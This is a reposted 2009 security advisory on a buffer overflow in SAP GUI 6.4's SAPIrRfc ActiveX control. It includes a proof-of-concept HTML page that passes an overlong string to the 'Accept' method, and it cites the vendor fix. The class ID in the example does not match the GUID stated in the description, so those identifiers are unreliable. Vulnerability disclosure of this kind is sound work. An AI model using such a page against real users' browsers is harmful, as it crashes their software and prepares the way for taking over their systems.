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securityvulnsSecurityvulnsSECURITYVULNS:DOC:21961
HistoryJun 08, 2009 - 12:00 a.m.

[DSECRG-09-015] SAP GUI 6.4 Buffer Overflow vulnerability

2009-06-0800:00:00
vulners.com
10
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Digital Security Research Group [DSecRG] Advisory #DSECRG-09-015

Original Advisory: http://dsecrg.com/pages/vul/show.php?id=115

Application: SAP GUI for Windows, EnjoySAP
Versions Affected: Version 6.4
Vendor URL: http://SAP.com
Bugs: Buffer Overflow
Exploits: YES
Reported: 13.11.2008
Vendor response: 17.11.2008
Date of Public Advisory: 08.06.2009
CVE-number:
Author: Alexander Polyakov
Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description

SAP GUI for Windows version 6.4 contains ActiveX component SAPIrRfc which is vulnerable to Buffer overflow attack.

file = sapirrfc.dll
GUID = F6908F83-ADA6-11D0-87AA-00AA00198702

Details

Attacker can construct html page which will call vulnerable function "Accept" from ActiveX Object SAPIrRfc with long
parameter.
When user open this vulnerable page it will occur DOS (Example 1) or full remote control on target system (Example2
execute calc.exe aviable by request) .

Example1:

<html>
<object classid='clsid:77F12F8A-F117-11D0-8CF1-00A0C91D9D87' id='target' />
<script>

arg1="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

target.Accept arg1

</script>
</html>

Fix Information

The issue has been solved. See SAP note 1286637.

References:

SAP note 1286637

https://service.sap.com/sap/support/notes/1286637
http://dsecrg.com/pages/vul/show.php?id=115

About

Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit
and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI
DSS standards. Digital Security Research Group focuses on application and database security problems with vulnerability
reports, advisories and whitepapers posted regularly on our website.

Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com

Regards, Alexander Polyakov
Digital Security Research Group [DSecRG]

DIGITAL SECURITY
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